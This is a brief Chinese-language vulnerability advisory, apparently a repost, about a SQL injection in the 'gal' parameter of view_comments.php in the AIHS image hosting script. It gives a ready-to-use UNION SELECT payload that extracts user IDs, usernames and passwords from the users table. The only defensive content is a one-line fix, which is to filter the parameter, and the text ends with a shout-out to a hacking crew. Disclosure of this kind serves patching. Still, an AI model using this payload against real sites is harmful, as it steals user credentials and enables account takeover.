标题: AIHS (Advanced Image Hosting Script) SQL Injection Vulnerability
作者: Robert Cooper www.2cto.com
软件地址: http://yabsoft.com/
测试平台: [Linux/Windows 7]
 
#缺陷文件:
 
view_comments.php
 
缺陷处:
 
view_comments.php?gal=[gallery id]
 
 
测试示例:
 
www.2cto.com /view_comments.php?gal=109 union all select 1,2,3,4,5,6,7,group_concat(id,0x3a,user,0x3a,pass,0x0a) FROM users--
 
www.2cto.com提供修复方案：
 
过滤view_comments.php页面gal参数输入
 
 
# Shouts to the Belegit crew